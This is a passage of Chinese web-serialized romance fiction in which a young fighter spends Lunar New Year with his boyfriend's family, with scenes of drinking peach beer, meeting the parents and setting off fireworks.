祝闻声看着金发少年略显仓皇的身影,视线落在他通红的耳朵尖上,喉结滚了滚,勉强克制住自己将他摁住继续深吻的欲望,条件反射似的跟着他继续往里走: “没多久,就一会。” 实际上的时间自然不止一会。 接到陶真电话之后,他立刻让人去问私人飞机的航线,但现在临近过年了,前前后后需要折腾很长时间,最终只好买了最近的一批航班。 到宣城之后,他让酒店经理直接将行李送到客房接驳,自己则直接打车到了陶真家,还差点因为没有预约进不来。 宣城的天极冷,即使穿了羽绒服,依然能把人冻得发麻。 “早知道你过来,我就不跟他们再去吃那顿夜宵了。哎,我爸今天出去忙了,我妈也不在家,甚至连阿姨他们都放假了,连一个能带你先进来取暖的人都没有……” 陶真忍不住絮絮叨叨的,打开灯,给祝闻声拿了一双全新的拖鞋,想要去接祝闻声的行李,却扑了个空,有些惊讶,“阿声,你没带衣服过来吗?” 别墅里面开了暖气,一进来就是铺天盖地般的热意,立刻就缓解了冻到僵硬的身体。 祝闻声站在玄关处动了动手指,微微一顿。他当然带了,只是不在身上。 尽管陶真说会与他一起过年,但他明白,陶真的家庭和他的不同。于陶真而言,家人也很重要。 所以他本想见完陶真一面以后就离开,不打扰他跟家人聚会的。 但既然,今天,陶真的家人都不在—— 祝闻声淡淡道:“嗯,走的时候比较着急。我想见完你之后再去酒店……” “酒店?!” “你今天晚上就别再去外面住了呀,直接睡在我家不好吗?”陶真果然睁大了眼睛,“说好了要一起过年的,哪里有让你一个人孤零零的道理?要是让我爸知道我这么对你,他肯定要把皮带抽出来揍我了。” “就当是为了我,你今天就住在这里好不好?” 陶真可怜巴巴地上前一步,抓着祝闻声的手腕晃了晃,“你要是不好意思跟我爸妈见面的话,也要等明天,我陪你一块出去呀……好不好啊祝闻声,求你了嘛。” 金发少年鼓着脸,拉长着尾音,眨巴了两下湿漉漉的眼睛,又在不自觉地撒娇。 也许是暖气开得实在是太足了,祝闻声感觉自己的身体渐渐热了起来,他的视线有些扫过少年的笑脸,近乎贪婪,声音微哑:“好。” “可我的衣服……” “明天我带你去买新的,今天晚上你可以将就一下穿我的呀,反正家里面其实还挺暖和的。只要你不介意,可能,可能有点小……” 说到最后,陶真不知想起了什么,脸忽然有些红。 好吧,可能不是有点小,是非常小。 他有点僵硬地咳嗽了一声,装作不在意似的抹了一把脸,同手同脚地带着祝闻声上楼,掠过了那一两间客房,直接打开了自己的房门。 “进来呀。” 祝闻声跟在他身后进去了,眸色幽深,视线缓缓滑过这个极为温馨舒适的套房卧室。 米白色的床单,暖黄色的被罩,亮堂堂的水晶灯,电影角色的手办……到处充满着小男生的生活气息。卧室这种地方,一向都是人最为私密的领地。 “……这边是我新布置的直播间,那边的沙发可以拆成一个床,但我一般不怎么用……卫生间在这里,左边是冷水右边是热水,后面还有个浴缸,都是干净的。” 大大方方地介绍完一切,陶真又带他走到衣帽间,找了两件oversize的T恤和松紧的短裤,“这个码数都很大,给你当睡衣穿,至于内、内裤……” 陶真的眼神忽然有些飘忽,摸了摸鼻尖,做贼似的拉开了抽屉,从里面找出来了一盒因为买大了所以一直没穿过的CK,相当嘴硬道:“你试试?我觉得没、没什么问题。” “谢谢。” 祝闻声接了过来,一眼就看出这盒内裤比自己平常穿的小一整个码,但还是体贴地说:“那我试试看。” 为防碍事,俊美的黑发少年先脱了外面的羽绒服,黑色高领毛衣十分贴身,完美地勾勒出了他的宽肩、饱满的胸.脯、劲瘦而有力的腰肢。 袖口往上卷起,肌肉结实的小臂则继续往下解开了皮带。 “……” 陶真猝然转过了身,可脑海里立刻就浮现了在大禹湾时曾亲手触碰过的东西——哪怕是蛰伏着的尺寸都十分吓人。 一旁传来了窸窸窣窣的衣物摩擦声,“啪嗒”一下,似乎有什么东西落地。片刻后,祝闻声淡淡地说:“不好意思,真宝。” “我穿不上。” 金发少年的脸红得像是快熟了的番茄,瓮声瓮气地“哦”了一声,转头从祝闻声手里夺过自己摇摇欲坠的自尊心,跌跌撞撞地跑回了衣帽间。 以祝闻声的尺寸来说,陶真就算再去拿陶大俊的那些新内裤,也只不过是替大俊自取其辱。最终,他还是点开外卖软件,在最近的便利店里找到内裤,下单,给接单的外卖员额外给了一些配送费。 屋内暖气十足,窗外却大雪纷飞。 陶真抬眼盯着那些雪花看了几秒,忽然说:“祝闻声,今天是宣城的初雪诶。” “你有没有听过,初雪的传说呀。” 祝闻声微微一怔。 细碎闪烁的水晶灯下,少年的睫羽纤长,投影遮住了水润的双瞳,捧着小脸,模样比平常还要乖巧。 像是某个国家的小王子,下一秒就会给出沉甸甸的许诺。 他不自觉地放轻了声音:“什么传说?” “在初雪这一天……” 陶真弯起眼,像是只得意的小狐狸:“吃炸鸡喝啤酒的人会得到好运!” “……” “电视剧里都这么演,那个女明星做完阑尾炎手术还要吃炸鸡呢。我们也点吧?反正都要过年了,吃一点嘛。吃一点应该也没关系呀……” 见祝闻声陷入沉默,陶真说话的声音也越来越小,到最后轻得像是哼哼:“好吧,我知道你要控制饮食。我也吃过夜宵了,不是很饿,就是开个玩笑……” 完蛋了。 陶真在心中哀嚎。 祝闻声不会以为自己喜欢上傻子了吧? 要是时间能倒流回几分钟前就好了,他一定要把这个玩笑收回去。 空气一时寂静,陶真也有点尴尬地站起身,借口要先去卫生间洗澡,在里面默默蹭蹭了好一会儿,终于听到了手机铃声响。 大概是外卖的内裤到了。陶真赶快关掉淋浴,匆匆换好衣服下楼,哒哒地跑到监控门铃前,笑着跟外卖员说了声谢谢,从他手里接过了两个大袋子。 那袋子出乎意料的沉,拎起来不像是只有一盒新内裤的样子。 “哎,你等一下,是不是东西弄错……” 陶真看向骑车离开的外卖员,有些着急,一边往外追,一边匆忙地低头核对小票单。在看清上面订单内容的下一秒,他整个人怔在了原地。 与此同时,一股浓郁的炸鸡香味飘了出来,立刻占满了鼻腔。 祝闻声从楼上下来,走到他身边,声音温和:“东西没有弄错。” 陶真恍然回神,有些茫然地望着他:“你怎么……” “初雪的传说,”祝闻声一板一眼地复述了一遍陶真的话,“吃炸鸡喝啤酒的人会得到好运。” “……” 陶真眨了眨眼,反应过来后,唇角不住地翘起,压了几次都失败了。他干脆像是只投林的小鸟一样,猛地向祝闻声扑了过去,被祝闻声稳稳地接住。 刚刚洗完澡的少年浑身上下都是香喷喷的,热乎乎的一小团,柔嫩的肌肤还散发着些许热气,白皙的脸上被熏上些许潮湿的红色。 祝闻声不受控制地深吸了一口气,唇瓣擦过陶真的耳垂。 “你怎么这么好呀祝闻声!” 陶真像动物幼崽那样挨挨挤挤地蹭他,笑眼弯弯的,“我跟你开玩笑的,我只是觉得晚上的飞机餐肯定很难吃,所以才想点炸鸡。真正的初雪传说其实是……” “这一天在一起的恋人,会永永远远都在一起。” 祝闻声垂下眼,很轻地吻了一下他的耳垂:“是吗?” “是呀!” 陶真微微后退一步,一脸认真地凝视着祝闻声: “如果以前没有这个传说的话,那么,今天有了。” 空气凝滞几秒,这回轮到祝闻声怔住了。 心无法控制地狂跳起来,产生了一种前所未有地、被珍重的感觉。好像一个孤零零行走在雪夜的旅人,终于沐浴在灿烂到耀眼的阳光下。 他用视线一寸寸地描摹过金发少年弯起的眼,挺翘的鼻尖,以及湿润潮红的唇,目光近乎贪婪。 可少年却依然仰着那张笑脸乖乖巧巧地望着他,像是只因无比信赖所以将肚皮翻出来任他揉搓的幼崽。 “嗯,”祝闻声的喉结滚了滚,像是在郑重地许诺,“我们一定会永远在一起。” 青年一字一句,仿佛敲击在人的心上。 陶真后知后觉有些不好意思,与祝闻声对视了几秒,有些匆匆地扭过脸。 他一骨碌从祝闻声的身上跳下来,手忙脚乱地解开了那一大袋炸鸡:“……哎呀,说了这么半天,炸鸡都快凉了,我们赶紧吃吧!” 拆开包装,映入眼帘的是两大盒经典的韩式甜辣和芝士粉口味炸鸡腿,还有热腾腾的芝士球、薯条,以及几扎不停往外溢着冷气的桃子味啤酒。 陶真的眼睛顿时一亮,刚刚莫名的羞涩和尴尬被抛到脑后,跑到厨房拿了两个大杯子出来,给自己和祝闻声都统统满上,旋即豪气地牛饮起来。 充满桃汁清香的冰凉果啤滑入喉中,立刻缓解了洗澡后的燥热和干渴。 小半杯下肚,陶真还有些意犹未尽,刚想捧起杯子继续喝,抬眼便看到祝闻声投喂过来的炸鸡,下意识地嗷呜了一口,有些含含糊糊地说:“……阿声,这个果啤还挺好喝的,你也快尝尝……对了,你的酒量怎么样?” 祝闻声正拿着纸巾替陶真擦下巴上沾到的酱汁,闻言顿了顿:“应该还行。” 虽然他们格斗选手平常的训练都非常严苛,别说啤酒了,就连可乐都不能碰,他没什么机会可以检测自己的酒量。 但……就这种酒精度只有8%的饮料,应该没什么问题吧? 想到这儿,祝闻声没有犹豫,接过陶真递来的杯子仰头喝了一口。 …… 桌子上的食物渐渐消失,室内的暖气温度也一路攀升,陶真爽快地喝完了最后一扎白桃啤,感觉自己要撑得不行了。 他懒洋洋地躺倒在沙发上,掀起自己的T恤下摆,腰肢一如既往的纤细,只是那截白皙的小肚子鼓了起来,圆溜溜的,看起来很软,很好摸。 陶真自己盯着看了几秒,不知想起了什么,觉得有点好笑,滚到祝闻声身边展示了一番:“阿声你快看,我也有腹肌了!” “虽然是一整块的,但……” 还没乐完,陶真的声音戛然而止。因为一只粗粝、布满老茧的大掌精确无误地覆上了他的“腹肌”。 高冷俊美的青年俯身,表情严肃得像是在做什么正经的科学实验,滚烫的大掌却不轻不重地揉了两下陶真柔软的小肚子,声音一如既往的平静:“嗯,有了。” “……” 腰腹间的痒痒肉从未被旁人这么摸过,陶真只觉得一股电流从自己的脊背一路蹿到了头顶,整个人都要麻了。 他的脸蛋红得像番茄一样,手脚并用地往后面退了两步,笑得要流眼泪:“阿声!你笑话我!谁吃饱了都会有小肚子的,你没有吗?” 祝闻声依然维持着刚刚弯着腰的动作,好像不太明白陶真为什么要往后逃离他。 但听见陶真的反问后,他还是像个听从命令的机器人一样直起身,认真地说:“没有。” “我不信,除非你给我看看!” 话音刚落,祝闻声就照做。 撩起T恤,宛如被精心雕刻出的八块腹肌露了出来,在细碎的水晶灯下闪烁着蜜一样的色泽。鲨鱼线一路延伸往下,小腹处淡青色的青筋隐没进了绷紧的短裤里。 “没有。” 年轻而强盛的格斗选手强调完,又看向陶真,幽深的黑眸笼罩着几分雾气,声音冷淡固执,“给你看。” “……” 陶真呆住了,一向有些迟钝的他也意识到了有些不对劲,想到问祝闻声酒量时听见的那句“应该还行”,忽然之间灵光一现。 他有些艰难地咽了下口水,慢吞吞地凑了过去,放缓了声音问:“阿声,你喝醉啦?” 祝闻声重复:“你喝醉了。” 陶真:“不是我,是你呀。” 祝闻声:“不是我,是你。” “我是笨蛋!” “我是笨蛋。” 向来高冷的青年一下子变成了复读机,说什么就重复什么,陶真玩得不亦乐乎,笑得停不下来,一时间脑袋一热: “我喜欢你。” “……” 空气里弥漫着桃子啤酒的香甜味,两人之间的距离极近,鼻尖几乎要碰到一起。 刚刚还说一句就应一句的青年忽然沉默了,黑曜石一般的双眸牢牢地落在陶真身上,垂落在身侧的手指慢慢握紧,半晌才张了张嘴:“我……” 即将听见刚刚那句话时,陶真反而有些不好意思了,他豁然站起身,打断道:“好了好了,我不欺负你了……你真的喝多了。我带你上楼洗漱怎么样?” 祝闻声原本到嘴边的话吞了下去,微微皱了下眉。听见陶真的话后又点了点头,弯腰将他抄起来,托住腿弯和屁.股:“嗯,上楼洗漱。” 陶真有点笑不出来了:“不是的阿声,我刚刚已经洗过了,现在是你要去洗。” 祝闻声:“你要去洗。” 陶真彻底笑不出来了。 他被祝闻声抱着一路上楼梯,挣扎了两下,却被更加用力地抱紧了,青年的怀抱简直犹如铜墙铁壁一般,连呼吸都有些困难。 此时此刻,陶真才意识到格斗选手和普通人之间的差距到底有多大。他的那些反抗在祝闻声眼里恐怕跟猫挠似的没什么区别,以前能从祝闻声身上下来,纯属是因为祝闻声没有刻意去拦他而已。 进浴室时,陶真已经气喘吁吁了,祝闻声却还跟个没事人一样,单手抱着他,将他轻轻放在洗手台上:“洗漱。” “……好好好,洗漱就洗漱。” 陶真干脆放弃了挣扎,在洗手台上晃了晃脚,等着看醉鬼要如何闹笑话。 然而出乎意料的是,祝闻声并没有干出“把牙膏当成洗面奶”的这种傻事,相反,他的动作十分正常,先给陶真挤牙膏刷牙,然后又用热水拧了一条毛巾给陶真擦脸,一套动作行云流水。 等陶真吐完牙膏沫,也擦完脸,像个门神一样一直站在旁边等待的祝闻声才终于露出了一个微不可见的满意神情,蹲下来,替他拿掉了脚上的拖鞋,扣住了他的足踝。 “祝闻声!!” 少年下意识地蜷起了泛着粉的脚趾,修剪圆润整齐的十指踩在青年粗粝宽大的掌心里。 青年却也不介意,拿来热水,垂下眼,就这样格外细致地替他洗脚。洗完又将他抱回床上,自己去卫生间洗澡。 头顶昏黄的灯光细碎迷蒙,羞耻感,酒意,困倦,席卷着涌上脑海。 陶真捂住脸,有点绝望,都不敢想明天祝闻声醒酒以后会不会崩溃。 想着想着,他的意识渐渐有些昏沉。 就在他即将要睡着之前,身旁忽然涌来一阵热意,是祝闻声俯身靠近。 陶真不自觉地屏息凝神。 空气里传来了一阵不知是谁身上的桃子酒气,淡淡的,和沐浴露混在一起。 彻底陷入梦境时,一个温热的吻,轻轻地落在了他的额头上。 …… 祝闻声垂下眼。 洗完澡后,那股激励他只靠本能坦诚行动的酒意渐渐消散。 然而几秒后,他还是顺从本心地弯下腰,将那句没来得及说的那句话补全。 “爱你,宝贝。” 40 ? 第 40 章 ◎陶真是他再也离不开的人。◎ 翌日, 外面的雪下的没有昨天晚上那么大了,只是地上的积雪犹如一层厚厚的雪白毛毯,将整个世界映得极亮堂。 陶真醒来时还有些迷糊。 他磨磨蹭蹭地不想起床, 像往常一样在被子里打了个滚,却意外撞到了某人的胸肌。刹那间动作僵住, 昨天晚上的记忆如潮水一般铺天盖地地涌了过来。 他慢吞吞地抬起头,刚好对上祝闻声睁开的双眼。 祝闻声也醒了,平扇双眼皮掀开, 显得眉压眼都没那么凶,表情同往常一样冷淡, 只哑声说: “早。” 陶真不安分地动了动,想起海边的那一夜,没敢直接触碰晨起时的凶.器,小声回了一句“早呀”。 从床上爬起来去卫生间洗漱的路上, 他不停地用余光偷看祝闻声, 想从祝闻声的脸上看出些许端倪。 到厨房时也一样, 他像根小尾巴一样缀在祝闻声身后,一会蹑手蹑脚地戳戳祝闻声的腹肌, 一会低声哼哼一两句“我是笨蛋”,试图唤醒祝闻声昨天晚上的记忆。 祝闻声却全程都没什么太大的反应, 最后甚至还往他嘴巴里塞了一口热乎乎的包子:“吃早饭。” 好吧,看样子祝闻声是已经不记得自己昨天晚上做了什么了。 有些人就是会这样,喝完酒第二天起来会断片,这也是正常的。 陶真嚼着包子,略微有点含糊不清地说:“阿声, 你以后在外面可千万别喝太多酒了, 好危险的。一觉醒来都记不得自己昨天晚上干了什么……” 祝闻声正在弯腰捡地上的厨余垃圾, 闻言动作微微一顿,片刻后才直起身: “我记得。”? 什、什么? 陶真差点被嘴里的包子噎死,整张脸唰地一下红了,有点不可置信地抬起头。 竟然记得?那祝闻声肯定要尴尬死了,先是被带着一句句地重复“我是笨蛋”、“我喜欢你”这种话,最后甚至还酒意上头,抱着他去浴室洗脚。 “对不起……” “抱歉……” 两人几乎同时开口,同时一怔。陶真勉强将噎在喉咙口的包子咽下去,小声说:“是我带你喝酒才让你醉成那样的……你干嘛要道歉呀?” 祝闻声转过身,黑沉沉的眸子直直地望着陶真:“因为,我其实还没有醉到控制不了自己的地步。你的指令我听得懂,但没有照做。” “……啊?” 这也是喝完酒的副作用吧…… 陶真的表情有些呆呆的,想了想才补充道:“没关系呀。我不介意的。” 祝闻声颔首:“好。” 坦白地来说,靠本能行动让他发觉自己喜欢亲力亲为地为陶真做一些小事。 金发少年总是温暖得像是一颗小太阳,无论在什么时候都能散发光芒,明媚又耀眼。但只有在被悉心照顾时,露出的乖巧和依赖,是他一个人独有的。 他以后想要继续给陶真洗脚。 如果陶真不介意的话,那就再好不过了。 …… 饭后,两人收拾一会就出了门。 在祝闻声去酒店之前,陶真坚持要先给他买几件新衣服,所以两人临时绕路,一块到了宣城中心的商场。然而才逛了一小会,手机就嗡嗡地响了起来。 他看了一眼来电人,是陶大俊,顺手摁下了接通:“喂,爸?你忙完啦?” “嗯,我刚刚去机场接你妈妈,现在我们俩都到家了。” 陶大俊说完安静了两秒,语出惊人,“你和你的小对象呢,你们两个大概什么时候回来?” 听筒的声音依稀传了出来,祝闻声一怔。 陶真也差点把手机摔了,手忙脚乱地抓住,惊奇道:“爸,我还没来得及说呢……你们是怎么知道的?” “咋的,你当你爸妈是老糊涂啊?竟然还想瞒着我们?”陶大俊得意地说完,又变得语重心长,“什么也别说了,人家千里迢迢来找你,第一次上门,我们得好好招待一下,不然像什么样子?” 陶真心里渐渐安定下来,却没有第一时间答应:“知道了爸,我等下问一下……我现在还在外面呢,你有什么东西要带的吗?” “……” “嗯…好……行,别的牌子不要,就中华是吧?” 电话那头的陶大俊应了一声,又催促陶真将电话给祝闻声,俨然是一副必须要把祝闻声拖回家的架势。 陶真本身倒是没什么意见,可他害怕祝闻声不乐意,只好“嗯嗯”了几声胡乱地应了:“记住了,就这么多对吧?那我先挂了,拜拜!” “嘟”的一声,通话结束。 陶真松了口气,眼巴巴地望向祝闻声,弯着笑眼:“阿声,你刚刚有听见吗?” 祝闻声回过神,随意垂落在身侧的手指慢慢攥紧,感觉到掌心沁出了些许薄薄的汗:“嗯,听见了。” 他本来是马上就要回酒店的,也做好了陶真在跟家人相处的间隙,抽空见他的准备。 从未想过,陶真的父母竟然会愿意主动邀请他,一起去陶家过年。 “那,你愿不愿意呀?”陶真的语气有些试探,“我爸妈他们也很想见你……你就跟我一起回去呗,好不好呀?” 祝闻声对上陶真那双亮晶晶的眼睛,感觉到一阵轻微的晕眩。 他张了张唇,婉拒几乎已经滑到了嘴边,下一刻就被强烈的渴望压了过去,喉结上下滚了滚:“如果叔叔阿姨真的不介意……” “他们当然不会介意!我爸老早就想见你了,我妈也很期待呢,”陶真笑容灿烂,一把牵起祝闻声的手,“那咱们就说定了!赶快去买东西吧,买完就可以回家啦!” 温暖的触感从手心相触的地方一路往上延伸,渐渐地,取代了那股紧张的冰冷。 祝闻声心头被某种情绪充盈,认真地“嗯”了一声。 临近过年,商场的人气很旺,到处摩肩接踵。祝闻声身材极好,穿什么都好看,所以他们简单逛了几家门店,置办好了一两身衣服,就立刻去了负一层的大型商超。 对联福字、灯笼窗花、瓜子蜜饯……还有萦绕在耳畔的“恭喜发财”,超市里的年味更甚。当然,也少不了因为一点小事摩擦而吵架的家人或者情侣。 他们面红耳赤地嚷嚷,指责是彼此漏了清单上的东西,最后还是被身旁的路人用“大过年的”这四个字安抚了下来。 陶真没去看热闹,他和祝闻声一块扫荡完陶大俊刚刚所说的各种生活用品,刚好碰见了一个空的自助收银台。 难得这么幸运!他推着车小跑过去,正要一件一件地把东西拿出来扫码时,忽然听见祝闻声开口:“抱歉陶真,等下你去门口休息一会,我还要去买几样东西。” 嗯?还有什么要买的? 陶真有些不解地歪了歪头,却依然笑盈盈的:“没关系,我跟你一块去吧?” “不用,我去就好。很快。” 后面排队准备等收银机的人几乎是“虎视眈眈”,陶真匆匆看了一眼,便也没有再跟祝闻声纠结这件事,迅速结完账,就大包小包地走出来,找了一块地方坐下。 等待了半晌,祝闻声终于越过层层人群,从楼上下来,手里拎着两大袋东西,轻奢门店的女士围巾和护肤品,还有…… 陶真有些吃惊地迎了上去,抽出袋子里的两条中华:“阿声,你买这个干什么呀?” 祝闻声微微一顿:“叔叔不是说……” 别的牌子不要,只要中华吗? 他的声音戛然而止,因为陶真鼓着脸,从超市的塑料袋里抽了两条牙膏出来。 上面明晃晃地写着五个字,中华健齿白。 “他要的是这个中华,别的牌子都不要。” 陶真忍了又忍,还是没忍住扑哧一声笑出来,“我妈是音乐剧演员,我也喜欢唱歌,所以我爸从来不在家里抽烟,因为二手烟对肺不好……” 祝闻声闭了闭眼,陷入了诡异的沉默,模样也有些难以启齿。 陶真几乎快要笑倒了,倚到祝闻声身上,伸手戳了戳他的嘴角:“你以为是这个中华呀?” 祝闻声有点无奈地垂下眼,握住陶真冰凉的指尖暖了暖,点头:“嗯。” 大掌握住被塑料袋勒红的手指,一点点将温度传导了过来。陶真在好笑之余,心底忽然涌出一股有些奇妙的感觉。 其实,祝闻声买中华,是因为将他和他家人的话都放在了心上。 是因为不想空着手见他的爸爸妈妈,不想表现得不礼貌,才会无论如何也要折返回去买一些东西。 祝闻声是因为在乎他,所以才会犯傻。 “没关系,我爷爷偶尔会抽烟,到时候送给他就好了。” 陶真眨了眨眼,笑声渐敛,心头暖洋洋的,大大方方地握着祝闻声的手站起身:“我们回家吧?” 祝闻声回握住他:“好。” 两人出了超市,拎着大包小包的东西乘上出租车。 天空中飘着细小的雪花,和昨晚的鹅毛大雪无从比较,自然也掩盖不了地上明显的车辙和脚印。料想陶大俊也是从这儿发现了端倪。 终于走到别墅,与陶真的父母隔着一扇朱红色的大门,祝闻声深吸一口气,用力抿紧了唇。 礼品袋的绳子几乎深深地陷进了掌心里,勒出一道深红的痕迹。 正在扫脸开门的陶真用余光注意到了他的动作,转过小脑袋,认认真真地向他保证: “相信我,阿声。他们真的会很喜欢你的。” “滴滴——” “欢迎回家”的电子女声响起,大门打开,祝闻声还没来得及应声,一眼就看见了在玄关处迎接他们的一对夫妇。 男人一身较为简单的家居服,大概一米七八左右的个头,身材适中,模样算不上特别出众,却看起来令人觉得很舒服,自带一股好相处的气息。而穿着驼色大衣的女人则让人非常惊艳,不仅保养得当,气质还格外优雅,一张最多三十岁出头的脸上带着微微的笑意。 出了这扇门,他们都是各自领域里有头有脸的人物,然而在门内,却不过是最普通的一对夫妻。这会,一个匆匆忙忙地去接两个孩子手里的东西,一个弯下腰来替他们拿拖鞋。 “快进来快进来,外面冻坏了吧?” “来,鞋子放这儿就好,袜子湿了没有?” 大门关上,隔绝了室外的风雪。屋里的暖气开得极足,一下恍如春风拂面。 祝闻声从没有经历过这样的嘘寒问暖,一时间动作迟缓,有些手足无措的愣在原地。直到被陶真笑眯眯地拉进来,才猛然回过神。 他弯下腰,把手里给两人简单买的礼物送了过去,态度礼貌而尊重地做完自我介绍,又额外添了一句:“叔叔阿姨,这段时间打扰了。” “哎哟你这孩子,人来了就好,怎么还送礼物……” “一点都不打扰,过年就是要人多才热闹!” 陶大俊和林曼妙拉着他到客厅沙发坐下,给他倒了一杯刚泡好没多久的热茶,又将桌上几大碟干点水果往他手里塞。 他们的态度极好,看得出很尊重陶真带来的对象,也是真心对有礼有节的祝闻声感到满意,简简单单地问了问他的家庭,接着就调侃似的介绍了一番自己,聊天的气氛轻松活泼。 “总听小真提到你,早就想见见你真人了,这次终于找到机会了。不要跟叔叔阿姨客气,就把这里当成你自己家。” “……” 渐渐的,祝闻声一直紧紧绷着的那根神经慢慢地放松了下来,不自觉地侧眸看向陶真。 盈满欢声笑语、窗明几净的客厅中,热热闹闹地堆满了新年的年货,还隐隐飘来了厨房里炖汤的香味。 在这样的环境里长大的金发少年,正笑盈盈地说着学校的趣事,他的眼睛亮晶晶的,手舞足蹈地比划着。 见祝闻声望过来了,甚至还悄悄冲他做了个可爱的鬼脸,用口型说:“怎么样?” “我说的吧,他们会喜欢你的。”- 毕竟家里的长辈回来了,吃完饭,他们就给祝闻声单独安排了一间整洁宽敞的客卧。 两人虽然晚上不睡在一块了,但白天待在一起的时间很多。除了拍摄唱歌视频外,还一块出门购置年货,一起去花园堆雪人。 不知不觉,时间就来到了除夕这一天。 陶家来了不少拜访的亲戚,几乎快要把门槛给踏破。陶真的爷爷奶奶、姥姥姥爷也都过来了。他们一开始见到祝闻声时还有些诧异,在陶真介绍完后纷纷激动了起来,争着从兜里掏出红包塞给他。 祝闻声几乎是下意识地想要拒绝,可陶真却笑眯眯地将那些红包塞进他怀里,一口一个甜甜的“谢谢奶奶”、“谢谢姥爷”,把一众老人家哄得心花怒放。 祝闻声抿抿唇,心底里的那份无所适从渐渐消散了许多,也礼貌妥帖地道了几句谢,坐上沙发时,略微有些拘谨。 见他这模样,几位长辈想了想,干脆从电视柜里面抽了几本大相册出来冲他招呼:“小祝,要不要来看一下小真小时候的照片啊?” 陶真瞪圆了眼,下意识地摁住自己的黑历史:“姥姥!这东西有什么好看的……” 姥姥却高高将相册举了起来:“什么叫做没什么好看的?你小时候多可爱呀?给小祝看看又怎么了?” 陶真不敢跟姥姥动真格的,只好将求助的目光投向祝闻声,希望他能明白自己的意思。 然而下一瞬,祝闻声却坐直了身子:“好,谢谢姥姥。” 在陶真不可置信的神色里,祝闻声面色如常地接过姥姥递来的相册本,从第一页开始翻了起来。 看得出林曼妙和陶大俊真的很爱陶真,从他刚出生时起就为他拍了许多照片。有陶真出生一个月时躺在林曼妙怀里睡着的恬静姿态,也有他一岁时尿湿了陶大俊的裤子,在床上哇哇大哭的模样,还有他三岁时抓着路边的小草往嘴里塞的瞬间…… 小陶真用那双圆溜溜、黑葡萄似的眼睛盯着镜头,白皙柔嫩的小脸看起来软嘟嘟的,笑起来时露出整齐的小乳牙。 跟祝闻声曾经想象中的一样——不,比想象中还要乖。 祝闻声垂下眼,唇角情不自禁地勾起。 他粗粝的指尖很轻很轻地在照片上划过,像是怕划伤小陶真的脸庞。 “很可爱。” 祝闻声的语气很认真,认真到几乎郑重。 一旁原本正在绝望的陶真闻言一怔,情不自禁地眨了眨眼。 他不再抗拒姥姥他们将他过去的那些照片和糗事翻出来一件一件地说了,因为祝闻声听得很认真,甚至偶尔还会忍不住笑出声。 外面的天渐渐黑了下来,雪花纷纷扬扬地飘落。电视上正在播放着某个新年的歌唱节目,背景音嘈杂热闹。 成功抢到了厨房的几位长辈大显身手,锅灶“嗤嗤”作响,时不时发出几声锅铲和铁锅碰撞的乒乓声。其余人则也去帮忙端菜、拿碗筷,在一边包饺子。 晚上八点,春节联欢晚会正式开始,一家人和着背景音开始吃年夜饭。 如今的小品没有十来年前的好笑了,可歌舞却依然热闹,跳跃闪动的红光映在亮堂堂的餐厅里,融进了推杯换盏声当中。 差不多吃完时,陶大俊突然想起了什么,提醒陶真车库里有烟花。 宣城跟南城不同,没禁这个。陶真相当惊喜,便赶快拉着祝闻声一块去车库把那几箱烟花抱了出来,还额外捎了一大捧仙女棒。 一出盈满暖气的室内,脸颊上熏出的酡红就被洁白如盐一样的雪花扑散,呼吸间吐出一阵阵雪白的雾气。 两人在空荡荡的花园里站定,四周骤然安静了下来,只有不远处一个刚堆好的雪人在冲他们招手。 陶真没有搭理,反而满脸兴奋地从口袋掏出打火机,将几根仙女棒塞到祝闻声手里:“阿声,你以前玩过这个吗?” 骤然从热闹中抽离,世界变得极为静谧,过于兴奋的神经也渐渐落回原地。 祝闻声安静地垂下眼,黑沉沉的视线牢牢地落在陶真的身上,片刻后才开口:“没有。” “那你看我哦,其实只要点这里……” 陶真兴致勃勃地按下打火机,“咔嗒”一声,跳动的火焰点燃了引线。 霎那间,“滋啦滋啦”的声音响起,绚烂飞溅的亮色火花绽放了出来,划破了夜空,很快却又像流星一样消逝。 灿烂的光晕残留在视网膜上,美好得犹如一场梦境。 “很简单吧?是不是很漂亮?”陶真弯着眼笑眯眯地看他,“你自己试试看!” 祝闻声依言接过打火机点燃仙女棒,漂亮的火光照亮了陶真雪白的小脸。 陶真兴奋地欢呼起来,眉眼弯弯地望着烟花:“真好看啊!” “嗯,”祝闻声的视线没有半刻动摇,依然牢牢地注视着陶真,“真好看。” 小时候哇哇大哭的陶真,换牙时兴奋不已的陶真,为女孩仗义挺身的陶真,笑着陪他放烟花的陶真……每一个都很好看。 好看到他胸腔里,某个一直以来空洞洞的地方,仿佛被什么东西充盈了,几乎都要满溢出来。 陶真对他的视线一无所觉,只是很开心地等手里的仙女棒放完,临近午夜时,去一旁点燃了冲天的烟花。 他冲家里大喊了一声,朱红色的大门立刻打开,谈笑的长辈们涌了出来,欢笑声盈满了四周。 璀璨的烟花点亮了天空。 电视机里的春晚开始倒数十二点,手机嗡嗡地振响,新年的消息一波波地涌来。 陶真弯起眼,悄悄牵起祝闻声的指尖,大声说:“新年快乐!” 祝闻声垂下眼,用力回握住陶真的手:“陶真,新年快乐。” 嘈杂喧闹的世界,迎来了新的一年。 祝闻声也一样,翻开了新的一页。 烟花也好,与团圆的家人一起过年也好,都是他从未有过的体验。 陶真没撒谎,长辈们的确都很喜欢他,但他很清楚地明白,那只不过是他们的爱屋及乌。 真正喜欢他的人,为他编织这一场美好梦境的人,是陶真。 只有陶真。 是他再也无法离开的人。 40-50 41 ? 第 41 章 ◎就是有点想你了。◎ 绚烂的烟花如泡沫一般消散在天际, 祈福斗香的烟雾袅袅弥漫,大家一块把花园里的烟花残骸收拾了一通,又挨个回房间洗漱上床, 时间已经很晚了。 陶真作为晚辈守到了最后,整个人困倦得不行, 刚坐上沙发,眼皮子就开始打架。 不知不觉中,他已经蜷缩成了一小团, 凌乱的金发垂下遮住了光滑的额头和秀丽的眉眼,显得年纪更小了几分;侧脸压在了手臂上, 溢出一点柔软白皙的脸颊肉。 四周寂静,只有楼上传来隐隐的脚步声。 祝闻声盯着少年看了几秒,最终还是没有吵醒他,弯下腰来轻轻地托住他的脖颈和腿弯, 将他整个人打横抱起, 送到房间里。 少年在睡梦中不安地哼哼了两声, 相当娇气,像是感觉到祝闻声在身边, 干脆地抱住他的手臂。 祝闻声的动作微微一僵,却也没有将手臂抽走, 反而在床边蹲下,用眼神细细地描摹了一遍他的眉眼,任由他这么抱着。 不知过了多久,陶真彻底睡熟,咕哝着松开了他, 一骨碌翻进了一旁的被窝里。 祝闻声才慢慢地收回被压得有些发麻的手臂, 不知为何, 心中生出了些许难以言说的遗憾。 